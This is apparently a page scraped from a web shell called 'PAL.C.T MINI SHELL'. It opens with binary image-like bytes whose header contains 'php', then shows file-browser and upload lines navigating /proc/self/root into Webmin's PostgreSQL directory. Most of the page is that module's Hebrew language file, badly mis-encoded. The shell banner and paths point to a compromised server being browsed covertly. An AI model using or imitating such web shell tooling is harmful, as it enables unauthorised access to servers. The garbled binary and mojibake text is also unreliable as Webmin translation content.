‰php  IHDRwQ)Bæa pHYs  šœsRGB®ÎégAMA± üaÔIDATxíÜMk\UÇás&uo,ÖmÄD )XwîŒ+Çe?‰ºtw.“oàWpå§;—³°QHZnw¢`gaiJ’9Þˆ‰ÑÒÌŸç™û¾ýÍaî=·nlŽ[ ʨG܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îú¸·y H†¯@E7j­Í 1j+OF¥–€‹Rg}Ü«‘;@’E™Öa¹±ùáÓ~ ÿj`Ùuû'ož> ÙjÝ-$˜_§q?¾q¸SXzG'åóay

PAL.C.T MINI SHELL
files >> /proc/self/root/usr/libexec/webmin/postgresql/lang/
upload
files >> //proc/self/root/usr/libexec/webmin/postgresql/lang/he.auto

index_title=שרת מסדי × ×ª×•× ×™× PostgreSQL
index_notrun=PostgreSQL ×ינו פועל במערכת שלך - ×œ× × ×™×ª×Ÿ ×”×™×” ל×חזר ×ת רשימת מסד הנתוני×.
index_start=הפעל ×ת שרת PostgreSQL
index_startmsg2=לחץ על כפתור ×–×” כדי להפעיל ×ת שרת מסד ×”× ×ª×•× ×™× PostgreSQL במערכת שלך. מודול Webmin ×–×” ×œ× ×™×›×•×œ לנהל ×ת בסיס ×”× ×ª×•× ×™× ×œ×¤× ×™ ×©×”×•× ×ž×•×¤×¢×œ.
index_nopass=Webmin צריך לדעת ×ת פרטי הכניסה והסיסמה שלך לניהול PostgreSQL כדי לנהל ×ת בסיס הנתוני×. ×× × ×”×›× ×¡ למטה ×ת ×©× ×”×ž×©×ª×ž×© והסיסמה שלך.
index_nouser=חשבון Webmin שלך מוגדר להתחבר לשרת PostgreSQL כמשתמש $1, ×ך למשתמש ×–×” נדחתה גישה.
index_ltitle=כניסה PostgreSQL
index_sameunix=להתחבר ל×ותו משתמש יוניקס?
index_login=התחברות
index_pass=סיסמה
index_clear=ברור
index_stop=עצור ×ת שרת PostgreSQL
index_stopmsg=לחץ על כפתור ×–×” כדי לעצור ×ת שרת מסד ×”× ×ª×•× ×™× PostgreSQL במערכת שלך. ×–×” ימנע ×ž×ž×©×ª×ž×©×™× ×ו תוכניות לגשת למסד הנתוני×, כולל מודול Webmin ×–×”.
index_dbs=מ×גרי PostgreSQL
index_add=צור בסיס × ×ª×•× ×™× ×—×“×©.
index_users=משתמש, קבוצות והרש×ות
index_return=רשימת מסד נתוני×
index_esql=תוכנית הלקוח לקוח PostgreSQL $1 ×œ× × ×ž×¦××” במערכת שלך. ×ולי PostgreSQL ×ינו מותקן, ×ו <a href='$2'>תצורת המודול</a> שלך שגויה.

index_ehba=קובץ התצורה של מ×רח PostgreSQL $1 ×œ× × ×ž×¦× ×‘×ž×¢×¨×›×ª שלך. ×ולי PostgreSQL ×œ× ×ותחל, ×ו <a href='$2'>תצורת המודול</a> שלך שגויה.
index_superuser=תוכנית לקוח PostgreSQL psql ×œ× ×”×™×™×ª×” יכולה לבצע במערכת שלך. ×ולי PostgreSQL ×ינו מותקן, ×ו <a href='$1'>תצורת המודול</a> שלך שגויה.
index_eversion=בסיס ×”× ×ª×•× ×™× ×©×œ PostgreSQL במערכת שלך ×”×•× ×’×¨×¡×” $1, ×ך Webmin תומך רק בגרס×ות $2 ומעלה.
index_elibrary=×œ× × ×™×ª×Ÿ ×”×™×” להפעיל ×ת תוכנית לקוח PostgreSQL $1 מכיוון ×©×”×™× ×œ× ×”×¦×œ×™×—×” ×œ×ž×¦×•× ×ת הספריות המשותפות של Postgres. בדוק ×ת <a href='$2'>תצורת המודול</a> ×•×•×“× ×© <i>הנתיב לספריות המשותפות PostgreSQL</i> מוגדר.
index_ldpath=נתיב הספרייה המשותף שלך מוגדר ל- $1, והפלט מ- $2 היה :
index_version=גירסת PostgreSQL $1 
index_setup=קובץ התצורה של מ×רח PostgreSQL $1 ×œ× × ×ž×¦× ×‘×ž×¢×¨×›×ª שלך, מה שמצביע על כך שמסד ×”× ×ª×•× ×™× ×¢×“×™×™×Ÿ ×œ× ×ותחל. לחץ על הכפתור למטה כדי להתקין ×ת PostgreSQL.
index_setupok=ל×תחל ×ת מסד הנתוני×
index_nomod=×זהרה: מודול Perl $1 ×ינו מותקן במערכת שלך, ולכן Webmin ×œ× ×ª×•×›×œ לגשת ב×ופן מהימן למסד ×”× ×ª×•× ×™× ×©×œ PostgreSQL. <a href='$2'>לחץ ×›×ן</a> כדי להתקין ×ותו כעת.
index_nomods=×זהרה: מודולי Perl $1 ו- $2 ××™× × ×ž×•×ª×§× ×™× ×‘×ž×¢×¨×›×ª שלך, ולכן Webmin ×œ× ×ª×•×›×œ לגשת ב×ופן מהימן למסד ×”× ×ª×•× ×™× ×©×œ PostgreSQL. <a href='$3'>לחץ ×›×ן</a> כדי להתקין ××•×ª× ×›×¢×ª.
index_nodbs=×ין לך גישה למסדי × ×ª×•× ×™× ×›×œ×©×”×.
index_nodbs3=×ין מסדי × ×ª×•× ×™× ×©×œ PostgreSQL תו××ž×™× ×ת החיפוש שלך.
index_backup=מ×גרי גיבוי
index_backupmsg=לחץ על כפתור ×–×” כדי להגדיר ×ת הגיבוי של כל מסדי ×”× ×ª×•× ×™× ×©×œ PostgreSQL, ב×ופן מיידי ×ו בלוח ×–×ž× ×™× ×ž×•×’×“×¨.
index_sch=(×¢× ×¡×›×™×ž×•×ª)
index_db=×©× ×‘×¡×™×¡ הנתוני×
index_tables=שולחנות
index_drops=זרוק מסדי × ×ª×•× ×™× ×©× ×‘×—×¨×•
index_postgresql=PostgreSQL
index_toomany=יש יותר מדי בסיסי × ×ª×•× ×™× ×œ×”×¦×’×”. ×ž×¦× ×ž×¡×“×™ × ×ª×•× ×™× ×”×ª×•×מי×:
index_search=לחפש
index_showing=מציג מסדי × ×ª×•× ×™× ×”×ª×•××ž×™× $1 ..
index_emsg=הודעת השגי××” המל××” של PostgreSQL הייתה : $1 
index_hostdesc=לחץ על כפתור ×–×” כדי לערוך ×ת רשימת המ××¨×—×™× ×•×©×™×˜×•×ª ×”×ימות ×”×ž×•×¨×©×™× ×œ×”×ª×—×‘×¨ ל- PostgreSQL.
index_using=שיטת גישה
index_btree=BTREE
index_rtree=RTREE
index_hash=×”×ש
index_gist=×¢×¥ חיפוש ×ינדקס כללי
index_jump=×ו ערוך מסד נתוני×:
index_jumpok=פתוח
index_edithosts=הגדר תצורה של מערכות מ×רח מורשות

login_err=ההתחברות נכשלה
login_ecannot=×ינך רש××™ לקבוע ×ת תצורת כניסה למסד הנתוני×
login_elogin=כניסה לניהול חסרה
login_epass=×©× ×ž×©×ª×ž×© ×ו ×¡×™×¡×ž× ×©×’×•×™×™× ×©×œ ניהול

dbase_title=ערוך מסד נתוני×
dbase_noconn=בסיס × ×ª×•× ×™× ×–×” ×ינו מקבל כרגע חיבורי×, כך ×©×œ× × ×™×ª×Ÿ לבצע בו פעולות.
dbase_header=טבל×ות מסדי נתוני×, ×ינדקסי×, תצוגות ורצפי×
dbase_tables=טבל×ות מסדי נתוני×
dbase_add=צור טבלה
dbase_vadd=צור תצוגה
dbase_sadd=צור רצף
dbase_drop=זרוק מסד נתוני×
dbase_exec=בצע SQL
dbase_none=במ×גר ×–×” ×ין טבל×ות, ×ינדקסי×, תצוגות ×ו רצפי×.
dbase_fields=שדות:
dbase_return=רשימת טבל×ות
dbase_ecannot=×ינך רש××™ לערוך בסיס × ×ª×•× ×™× ×–×”
dbase_table=טבלה, תצוגה ×ו ×ינדקס
dbase_rows=שורות
dbase_cols=שדות
dbase_delete=זרוק ×—×¤×¦×™× ×©× ×‘×—×¨×•
dbase_showing=מציג ××•×‘×™×™×§×˜×™× ×”×ª×•××ž×™× $1 ..
dbase_toomany=יש יותר מדי ××•×‘×™×™×§×˜×™× ×œ×”×¦×’×”. ×ž×¦× ×—×¤×¦×™× ×”×ª×•×מי×:
dbase_index=×ינדקס
dbase_view=נוף
dbase_seq=סדר פעולות
dbase_jump=ערוך טבלה:
dbase_vjump=ערוך תצוגה:
dbase_ijump=ערוך ×ינדקס:
dbase_sjump=עריכת רצף:

table_title=ערוך טבלה
table_title2=צור טבלה
table_opts=×פשרויות שדה
table_header=טבלה $1 בבסיס ×”× ×ª×•× ×™× $2 
table_field=×©× ×©×“×”
table_type=סוג
table_null=×פשר בטלי×?
table_arr=מערך?
table_none=××£ ×חד
table_add=הוסף שדה מסוג:
table_return=רשימת שדה
table_data=הצגת נתוני×
table_drop=זרוק טבלה
table_name=×©× ×©×•×œ×—×Ÿ
table_initial=שדות ר×שוניי×
table_header2=×פשרויות טבלה חדשות
table_err=יצירת הטבלה נכשלה
table_ename=×©× ×˜×‘×œ×” חסר ×ו ×œ× ×—×•×§×™
table_efield='$1' ×ינו ×©× ×©×“×” חוקי
table_etype=סוג חסר בשדה $1 
table_esize=גודל סוג חסר לשדה $1 
table_enone=×œ× ×”×•×–× ×• שדות ר×שוניי×
table_fielddrop=שדה טיפה
table_eblob=×œ× × ×“×¨×© גודל לשדה BLOB $1 
table_csv=×™×™×¦× ×›- CSV
table_index=צור ×ינדקס
table_delete=מחק שדות שנבחרו

field_title1=הוסף שדה
field_title2=שנה שדה
field_in=בטבלה $1 בבסיס ×”× ×ª×•× ×™× $2 
field_header=פרמטרי שדה
field_name=×©× ×©×“×”
field_type=סוג מידע
field_size=סוג רוחב
field_none=××£ ×חד
field_null=×פשר בטלי×?
field_arr=שדה מערך?
field_key=מפתח ר×שי?
field_uniq=ייחודי?
field_err2=שמירת השדה נכשלה
field_err1=מחיקת השדה נכשלה
field_esize='$1' ×ינו גודל שדה תקף
field_eenum=×œ× ×”×•×–× ×• ×¢×¨×›×™× ×¡×¤×•×¨×™×
field_efield='$1' ×ינו ×©× ×©×“×” חוקי
field_ekey=שדות המ××¤×©×¨×™× ×‘×˜×œ×•×ª ××™× × ×™×›×•×œ×™× ×œ×”×™×•×ª חלק מהמפתח הר×שי

exec_title=בצע SQL
exec_header=הזן ×ת פקודת SQL כדי לבצע במסד × ×ª×•× ×™× $1.
exec_old=×ו בחר פקודת SQL קודמת :
exec_exec=לבצע
exec_clear=נקה היסטוריה
exec_err=ביצוע SQL נכשל
exec_out=פלט מפקודת SQL $1 ..
exec_none=×œ× ×”×•×—×–×¨×• נתוני×
exec_header2=בחר קובץ פקודות SQL לביצוע במסד × ×ª×•× ×™× $1.
exec_file=מהתיק המקומי
exec_upload=מהקובץ שהועלה
exec_eupload=×œ× × ×‘×—×¨ קובץ להעל××”
exec_efile=קובץ מקומי ×œ× ×§×™×™× ×ו ×©×œ× × ×™×ª×Ÿ ×œ×§×¨×•× ×ותו
exec_uploadout=פלט מפקודות SQL שהועלו ..
exec_fileout=פלט מפקודות SQL בקובץ $1.
exec_noout=×œ× × ×•×¦×¨ פלט
exec_import=טבלה ×œ×™×™×‘×•× × ×ª×•× ×™× ×œ-
exec_header3=בחר קובץ נתוני טקסט ×œ×™×™×‘×•× ×œ×ž×¡×“ ×”× ×ª×•× ×™× ×©×œ PostgreSQL $1.
exec_header4=על קובץ ×–×” לכלול רשומת מסד × ×ª×•× ×™× ×חת בכל שורה, ×›×שר השדות ×ž×•×¤×¨×“×™× ×‘×›×¨×˜×™×¡×™×™×” ×ו בפורמט CSV.
exec_importmode=מקור קובץ CSV
exec_delete=למחוק תחילה × ×ª×•× ×™× ×‘×˜×‘×œ×”?
exec_filename=×ž×©× ×§×•×‘×¥
exec_ignore=×ž×ª×¢×œ×ž×™× ×ž×©×•×¨×•×ª כפולות?
exec_edit=ערוך קוד×
exec_format=פורמט קובץ
exec_tabexec=בצע SQL
exec_tabfile=הפעל ×ת SQL מהקובץ
exec_tabimport=×™×™×‘× ×§×•×‘×¥ טקסט
exec_return=לבצע טופס SQL

stop_err=עצירת שרת מסד ×”× ×ª×•× ×™× × ×›×©×œ×”
stop_epidfile=פתיחת קובץ PID $1 נכשלה
stop_ekill=הריגה של תהליך $1 : $2 נכשלה
stop_ecannot=×ינך מורשה להפסיק ×ת שרת מסד הנתוני×
start_err=הפעלת שרת מסד ×”× ×ª×•× ×™× × ×›×©×œ×”
start_ecannot=×ינך מורשה להפעיל ×ת שרת מסד הנתוני×

ddrop_err=ירידת מסד ×”× ×ª×•× ×™× × ×›×©×œ×”
ddrop_title=זרוק מסד נתוני×
ddrop_rusure=×”×× ×תה בטוח שברצונך להוריד ×ת מסד ×”× ×ª×•× ×™× $1 ? $2 טבל×ות המכילות $3 שורות × ×ª×•× ×™× ×™×™×ž×—×§×•.
ddrop_mysql=מכיוון שמדובר בבסיס ×”× ×ª×•× ×™× ×”×¨×שי, ירידתו ככל הנר××” ×ª×’×¨×•× ×œ×©×¨×ª של PostgreSQL לבלתי שמיש!
ddrop_ok=זרוק מסד נתוני×

tdrop_err=ירידת הטבלה נכשלה
tdrop_title=זרוק טבלה
tdrop_rusure=×”×× ×תה בטוח שברצונך להפיל ×ת הטבלה $1 במסד ×”× ×ª×•× ×™× $2 ? $3 שורות × ×ª×•× ×™× ×™×™×ž×—×§×•.
tdrop_ok=זרוק טבלה

view_title=נתוני טבלה
view_pos=שורות $1 עד $2 מתוך $3 
view_none=בטבלה זו ×ין נתוני×
view_edit=ערוך שורות שנבחרו
view_new=להוסיף שורה
view_delete=מחק שורות שנבחרו
view_refresh=רענן
view_nokey=×œ× × ×™×ª×Ÿ לערוך × ×ª×•× ×™× ×‘×˜×‘×œ×” זו מכיוון ש×ין ×œ×”× ×ž×¤×ª×— ר×שי.
view_all=בחר הכל
view_invert=בחירה הפוך
view_search2=חפש שורות בהן שדה $2 $3 $1 
view_match0=מכיל
view_match1=הת×מות
view_match2=×œ× ×ž×›×™×œ
view_match3=×œ× ×ª×•××
view_match4=גדול מ
view_match5=פחות מ
view_searchok=לחפש
view_searchhead=תוצ×ות חיפוש עבור $1 בשדה $2.
view_searchhead2=תוצ×ות חיפוש מתקדמות בשדות $1 ..
view_searchreset=×פס חיפוש
view_sorthead1=מיון לפי $1, בסדר יורד
view_sorthead2=מיון לפי $1, סדר עולה
view_sortreset=×פס ×ת המיון
view_field=×©× ×©×“×”
view_data=מידע חדש
view_jump=קפוץ לשורה
view_go=ללכת
view_download=הורד ..
view_keep=הש×ר ×œ×œ× ×©×™× ×•×™
view_set=הגדר לתוכן הקובץ ..
view_warn=×זהרה - העל×ת ×§×‘×¦×™× ×œ×¦×¤×™×™×” בתוכן <tt>טקסט</strong> ×ו <tt>bytea</tt> ×œ× ×¦×¤×•×™×” לעבוד, ××œ× ×× ×›×Ÿ ×”×ž×•×“×•×œ×™× $1 ו- $2 פרל ×ž×•×ª×§× ×™× ×•× ×ž×¦××™× ×‘×©×™×ž×•×©.
view_adv=חיפוש מתקד×
view_sqlrun=תוצ×ות שנוצרו על ידי ש×ילתת SQL : $1 

newdb_title=צור מסד נתוני×
newdb_header=×פשרויות מסד × ×ª×•× ×™× ×—×“×©×•×ª
newdb_db=×©× ×‘×¡×™×¡ הנתוני×
newdb_path=נתיב קובץ מסד נתוני×
newdb_err=יצירת מסד ×”× ×ª×•× ×™× × ×›×©×œ×”
newdb_edb=×©× ×‘×¡×™×¡ × ×ª×•× ×™× ×—×¡×¨ ×ו ×œ× ×—×•×§×™
newdb_ecannot=×ינך מורשה ליצור בסיסי נתוני×
newdb_ecannot2=×ינך מורשה ליצור מ×גרי מידע נוספי×
newdb_epath=נתיב בסיס × ×ª×•× ×™× ×—×¡×¨
newdb_user=בבעלות המשתמש
newdb_encoding=קידוד ערכת תווי×
newdb_eencoding=קידוד מערך ×”×ª×•×•×™× ×—×¡×¨
newdb_template=בסיס ×”× ×ª×•× ×™× ×©×œ התבניות
newdb_notemplate=××£ ×חד

user_title=משתמשי PostgreSQL
user_vwarning=×זהרה: משתמש PostgreSQL ×–×” ×”×•× ×›× ×™×¡×” למנהל עבור ×ª×—×•× Virtualmin $1. שינוי ההגדרות ×›×ן עלול ×œ×’×¨×•× ×œ×©×’×™×ות ב- Virtualmin.
user_ecannot=×ינך מורשה לערוך משתמשי×
user_name=×©× ×ž×©×ª×ž×©
user_db=×”×× × ×™×ª×Ÿ ליצור מ×גרי מידע?
user_other=×”×× × ×™×ª×Ÿ ליצור משתמשי×?
user_until=בתוקף עד
user_add=צור משתמש חדש.
user_forever=לנצח
user_pass=דורש סיסמ×?
user_edit=ערוך משתמש
user_create=צור משתמש
user_return=רשימת משתמש
user_header=פרטי המשתמש של PostgreSQL
user_passwd=סיסמה
user_none=××£ ×חד
user_setto=מכוון ל
user_nochange=×ל תשתנה
user_err=שמירת המשתמש נכשלה
user_epass=×¡×™×¡×ž× ×—×¡×¨×” ×ו ×œ× ×—×•×§×™×ª
user_ename=×©× ×ž×©×ª×ž×© חסר ×ו ×œ× ×—×•×§×™
user_sync=×”×פשרויות שלהלן מגדירות סינכרון בין משתמשי יוניקס שנוצרו ב×מצעות משתמשי Webmin ו- PostgreSQL.
user_syncwhen=מתי לסנכרן
user_sync_create=הוסף משתמש PostgreSQL חדש בעת הוספת משתמש Unix.
user_sync_modify=עדכן משתמש PostgreSQL ×›×שר משתנה משתמש Unix התו××.
user_sync_delete=מחק משתמש PostgreSQL ×›×שר נמחק משתמש Unix התו××.
user_delete=מחק ×ת הנבחר
user_derr=מחיקת ×”×ž×©×ª×ž×©×™× × ×›×©×œ×”
user_enone=×œ× × ×‘×—×¨×• משתמשי×

host_ecannot=×ינך מורשה לערוך מ××¨×—×™× ×ž×•×¨×©×™×
host_title=מ××¨×—×™× ×ž×•×¨×©×™×
host_desc=×›×שר לקוח מתחבר למסד הנתוני×, המ××¨×—×™× ×”×ž×¤×•×¨×˜×™× ×œ×”×œ×Ÿ ×ž×¢×•×‘×“×™× ×œ×¤×™ הסדר עד שמת××™×ž×™× ×חד והלקוח מותר ×ו נדחה.
host_header=פרטי ×ימות לקוח PostgreSQL
host_local=חיבור מקומי
host_peer=עמית רשת
host_address=כתובת המ×רח
host_db=מ×גר מידע
host_user=משתמשי×
host_uall=כל המשתמשי×
host_auth=מצב ×ימות
host_any=כל מ×רח רשת
host_all=כל מ×גרי המידע
host_same=×–×”×” ×œ×©× ×”×ž×©×ª×ž×©
host_gsame=×–×”×” ×œ×©× ×”×§×‘×•×¦×”
host_other=×חר ..
host_usel=×ž×©×ª×ž×©×™× ×¨×©×•×ž×™× ..
host_add=צור מ×רח מותר חדש.
host_ident=בדוק ×ת <tt>ident</tt> שרת במ×רח
host_trust=×ין צורך ב×ימות
host_reject=דחה חיבור
host_password=×¡×™×¡×ž× ×¨×’×™×œ×”
host_crypt=סיסמה מוצפנת
host_md5=MD5 סיסמה מוצפנת
host_krb4=Kerberos V4
host_krb5=Kerberos V5
host_pam=PAM
host_passwordarg=השתמש בקובץ סיסמה
host_identarg0=×ל תשתמש במפת משתמש כלשהי
host_identarg1=משתמשי PostgreSQL ו- Unix ×–×”×™×
host_identarg2=השתמש בקובץ מפת משתמשי×
host_pamarg=השתמש בשירות PAM
host_create=צור מ×רח מורשה
host_edit=ערוך מ×רח מורשה
host_single=מ×רח יחיד
host_network=רשת
host_netmask=Netmask
host_cidr=×ורך CIDR
host_return=רשימת גישה למ×רח
host_err=שמירת המ×רח המותרת נכשלה
host_eident=מפת ×ž×©×ª×ž×©×™× ×—×¡×¨×” ×ו ×œ× ×ª×§×¤×”
host_epam=שירות PAM חסר ×ו ×œ× ×—×•×§×™
host_epassword=קובץ ×¡×™×¡×ž× ×—×¡×¨ ×ו ×œ× ×—×•×§×™
host_enetmask=מסיכת רשת חסרת ×ו ×œ× ×ª×§×¤×”
host_enetwork=רשת חסרה ×ו ×œ× ×ª×§×¤×”
host_ehost=כתובת IP של מ×רח חסרה ×ו ×œ× ×ª×§×¤×”
host_move=מהלך \ לזוז \ לעבור
host_edb=×œ× ×”×•×–× ×• שמות מסד נתוני×
host_euser=×œ× ×”×•×–× ×• שמות משתמש
host_ssl=חיבור SSL נדרש?
host_viassl=ב×מצעות SSL
host_derr=מחיקת המ××¨×—×™× ×”×ž×•×ª×¨×™× × ×›×©×œ×”
host_enone=×œ× × ×‘×—×¨×• מ×רחי×
host_manual=ערוך קובץ תצורה
host_manualdesc=לחץ על כפתור ×–×” כדי לערוך ידנית ×ת קובץ התצורה המ×רח המותר.

manual_title=ערוך קובץ תצורה
manual_err=שמירת קובץ התצורה נכשלה

grant_title=הרש×ות שניתנו
grant_tvi=חפץ
grant_type=סוג
grant_db=מ×גר מידע
grant_ns=סכמה
grant_public=כל ×חד
grant_group=קבוצה 1
grant_add=הוסף מענק במ×גר :
grant_return=רשימת הרש×ות
grant_ecannot=×ינך רש××™ לערוך הרש×ות
grant_create=צור גרנט
grant_edit=ערוך גרנט
grant_header=הרש×ות שניתנות למשתמשי×
grant_to=×”×¢× ×§ הרש×ות ב-
grant_table=שולחן
grant_view=תצוגה ×ו ×ינדקס
grant_users=×”×¢× ×§ הרש×ות ל
grant_user=משתמש
grant_what=הרש×ות
grant_r=שולחן
grant_v=נוף
grant_i=×ינדקס
grant_S=סדר פעולות
grant_none=×ין טבל×ות, תצוגות, ×¨×¦×¤×™× ×ו ××™× ×“×§×¡×™× ×œ×”×¢× ×§×ª הרש×ות ב-.
grant_toomany=יש יותר מדי ××•×‘×™×™×§×˜×™× ×œ×”×¦×’×”. ×ž×¦× ×—×¤×¦×™× ×”×ª×•×מי×:
grant_showing=מציג ××•×‘×™×™×§×˜×™× ×”×ª×•××ž×™× $1 ..
grant_delete=×פס ×ž×¢× ×§×™× ×©× ×‘×—×¨×•

group_title=קבוצות PostgreSQL
group_ecannot=×ינך מורשה לערוך קבוצות
group_name=×©× ×§×‘×•×¦×”
group_id=מזהה קבוצתי
group_mems=חברי×
group_memsopts=כל המשתמשי×
group_memsvals=×ž×©×ª×ž×©×™× ×‘×§×‘×•×¦×”
group_add=צור קבוצה חדשה.
group_edit=ערוך קבוצה
group_create=צור קבוצה
group_header=פרטי קבוצת PostgreSQL
group_return=רשימת קבוצות
group_err=שמירת הקבוצה נכשלה
group_ename=×©× ×§×‘×•×¦×” חסר ×ו ×œ× ×—×•×§×™
group_egid=מזהה קבוצה חסר ×ו ×œ× ×—×•×§×™
group_etaken=×©× ×”×§×‘×•×¦×” כבר × ×ž×¦× ×‘×©×™×ž×•×©
group_none=×ין כרגע קבוצות PostgreSQL.
group_derr=מחיקת קבוצות נכשלה
group_enone=×œ× × ×‘×—×¨×• קבוצות

esql=SQL $1 נכשל : $2 
log_start=שרת PostgreSQL התחיל
log_stop=עצר ×ת שרת PostgreSQL
log_db_create=יצר בסיס × ×ª×•× ×™× $1 
log_db_delete=בסיס ×”× ×ª×•× ×™× ×”×©×ž×˜ $1 
log_dbs_delete=נשמט $1 מסדי נתוני×
log_users_delete=$1 ×ž×©×ª×ž×©×™× × ×ž×—×§×•
log_groups_delete=$1 קבוצות נמחקו
log_hosts_delete=נמחקו $1 מ××¨×—×™× ×ž×•×¨×©×™×
log_table_create=יצר טבלה $1 בבסיס ×”× ×ª×•× ×™× $2 
log_table_delete=השמט ×ת הטבלה $1 ממסד ×”× ×ª×•× ×™× $2 
log_view_create=נוצר תצוגה $1 במסד × ×ª×•× ×™× $2 
log_view_modify=תצוגה מפורטת שונה $1 בבסיס ×”× ×ª×•× ×™× $2 
log_view_delete=תצוגה נשמטה $1 ממסד ×”× ×ª×•× ×™× $2 
log_index_create=יצר ×ינדקס $1 במ×גר × ×ª×•× ×™× 2
log_index_modify=×ינדקס שונה $1 במ×גר × ×ª×•× ×™× 2
log_index_delete=השחרר ×ת המדד $1 ממסד ×”× ×ª×•× ×™× $2 
log_seq_create=יצר ×ת הרצף $1 בבסיס ×”× ×ª×•× ×™× $2 
log_seq_modify=השתנה הרצף $1 בבסיס ×”× ×ª×•× ×™× $2 
log_seq_delete=השמט ×ת הרצף $1 ממסד ×”× ×ª×•× ×™× $2 
log_tables_delete=השליך $1 ××•×‘×™×™×§×˜×™× ×ž×ž×¡×“ ×”× ×ª×•× ×™× $2 
log_field_create=שדה $1 $4 עד $2 נוסף בבסיס ×”× ×ª×•× ×™× $3 
log_field_modify=שדה שונה $1 $4 ב- $2 בבסיס ×”× ×ª×•× ×™× $3 
log_field_delete=השדה $1 נמחק מ- $2 בבסיס ×”× ×ª×•× ×™× $3 
log_fields_delete=נמחק $1 שדות מ- $2 בבסיס ×”× ×ª×•× ×™× $3 
log_data_create=שורה נוספת נוספה לטבלה $2 במסד ×”× ×ª×•× ×™× $3 
log_data_modify=שינתה $1 שורות בטבלה $2 בבסיס ×”× ×ª×•× ×™× $3 
log_data_delete=$1 שורות נמחקו מטבלה $2 בבסיס ×”× ×ª×•× ×™× $3 
log_exec=הוצל SQL בבסיס ×”× ×ª×•× ×™× $1 
log_exec_l=בוצעה פקודת SQL $2 בבסיס ×”× ×ª×•× ×™× $1 
log_create_user=יצר משתמש $1 
log_delete_user=המשתמש $1 נמחק
log_modify_user=משתמש שונה $1 
log_create_group=נוצר קבוצה $1 
log_delete_group=הקבוצה נמחקה 1
log_modify_group=קבוצה שונה $1 
log_create_local=נוצר חיבור מקומי מותר
log_modify_local=חיבור מקומי מותר שונה
log_delete_local=נמחק חיבור מקומי מותר
log_move_local=הועבר חיבור מקומי מותר
log_create_all=יצר כל מ×רח מותר
log_modify_all=שינה כל מ×רח מותר
log_delete_all=נמחק כל מ×רח מותר
log_move_all=העביר כל מ×רח מותר
log_create_hba=נוצר מ×רח מורשה $1 
log_modify_hba=מ×רח מותר שונה 1
log_delete_hba=המ×רח המותר $1 נמחק
log_move_hba=המ×רח המותר $1 הועבר
log_grant=העניקו הרש×ות ב- $1 בבסיס ×”× ×ª×•× ×™× $2 
log_degrant=הרש×ות שהוענקו הוסרו ב- $1 ×ובייקטי×
log_setup=בסיס × ×ª×•× ×™× ×ž×ותחל
log_backup=מסד × ×ª×•× ×™× ×ž×’×•×‘×” $1 
log_backup_l=גיבוי מסד ×”× ×ª×•× ×™× $1 לקובץ $2 
log_backup_all=גבה ×ת כל בסיסי הנתוני×
log_backup_all_l=גבה ×ת כל מסדי ×”× ×ª×•× ×™× ×œ×§×•×‘×¥ $2 
log_manual=נערך ב×ופן ידני קובץ config המ××¨×—×™× ×”×ž×•×ª×¨×™×

acl_dbs=מ×גרי מידע שמשתמש ×–×” יכול לנהל
acl_dbscannot=בקרת גישה זו תיכנס לתוקף ל×חר הפעלת שרת מסד ×”× ×ª×•× ×™× PostgreSQL.
acl_dall=כל מ×גרי המידע
acl_dsel=נבחר ..
acl_create=×”×× × ×™×ª×Ÿ ליצור מ×גרי מידע חדשי×?
acl_max=כן, מקסימו×
acl_delete=×”×× × ×™×ª×Ÿ להפיל מסדי נתוני×?
acl_stop=×”×× × ×™×ª×Ÿ לעצור ולהפעיל ×ת שרת PostgreSQL?
acl_users=×”×× × ×™×ª×Ÿ לערוך משתמשי×, קבוצות, מ××¨×—×™× ×•×ž×¢× ×§×™×?
acl_backup=×”×× × ×™×ª×Ÿ ליצור גיבויי×?
acl_restore=×”×× × ×™×ª×Ÿ לשחזר גיבויי×?
acl_login=התחבר ל- MySQL כ
acl_user_def=×©× ×ž×©×ª×ž×© מתוך תצורת המודול
acl_user=×©× ×ž×©×ª×ž×©
acl_pass=סיסמה
acl_sameunix=להתחבר ולבצע ×’×™×‘×•×™×™× ×œ×ותו משתמש יוניקס?
acl_cmds=×”×× × ×™×ª×Ÿ לערוך לפני ו×חרי פקודות גיבוי?
acl_views=×”×× × ×™×ª×Ÿ להציג ולנהל תצוגות?
acl_indexes=×”×× × ×™×ª×Ÿ להציג ולנהל ××™× ×“×§×¡×™× ×•×œ× ×”×œ ×ות×?
acl_seqs=×”×× × ×™×ª×Ÿ להציג ולנהל רצפי×?

fdrop_err=מחיקת שדות נכשלה
fdrop_enone=×œ× × ×‘×—×¨
fdrop_eall=×ינך יכול למחוק ×ת כל השדות מטבלה!

setup_err=×תחול מסד ×”× ×ª×•× ×™× × ×›×©×œ
setup_ecannot=×ינך רש××™ ל×תחל ×ת בסיס הנתוני×

dbase_bkup=גיבוי
dbase_rstr=לשחזר

restore_title=שחזור מסד נתוני×
restore_header=שחזר ×פשרויות מסד נתוני×
restore_db=×©× ×‘×¡×™×¡ הנתוני×
restore_src=שחזר מ
restore_src0=קובץ בשרת $1 
restore_src1=הקובץ שהועלה $1 
restore_err=שחזור מסד ×”× ×ª×•× ×™× × ×›×©×œ
restore_edb=×©× ×‘×¡×™×¡ × ×ª×•× ×™× ×—×¡×¨ ×ו ×œ× ×—×•×§×™
restore_eacl=עליך להיות מורשה ליצור ושחרר מסד נתוני×
restore_epath=נתיב בסיס × ×ª×•× ×™× ×—×¡×¨
restore_go=לשחזר
restore_pe1=הקובץ חייב להיות קובץ זפת ($1)
restore_pe2=הקובץ ×œ× × ×ž×¦× ($1)
restore_exe=שגי×ת ביצוע פקודה ($1)
restore_ecmd=פקודת השחזור $1 ×œ× × ×ž×¦××” במערכת שלך
restore_ecannot=×ינך מורשה לשחזר גיבויי×
restore_only=רק לשחזר נתוני×, ×œ× ×˜×‘×œ×ות?
restore_clean=למחוק טבל×ות לפני השחזור?
restore_tables=טבל×ות לשחזור
restore_tables1=הכל בקובץ גיבוי
restore_tables0=טבל×ות רשומות
restore_failed=השחזור נכשל : $1 

backup_title=מ×גר גיבוי
backup_title2=גיבוי כל מ×גרי המידע
backup_header1=יעד גיבוי
backup_header2=×פשרויות גיבוי ×חרות
backup_header3=לוח ×”×–×ž× ×™× ×œ×’×™×‘×•×™
backup_db=×©× ×‘×¡×™×¡ הנתוני×
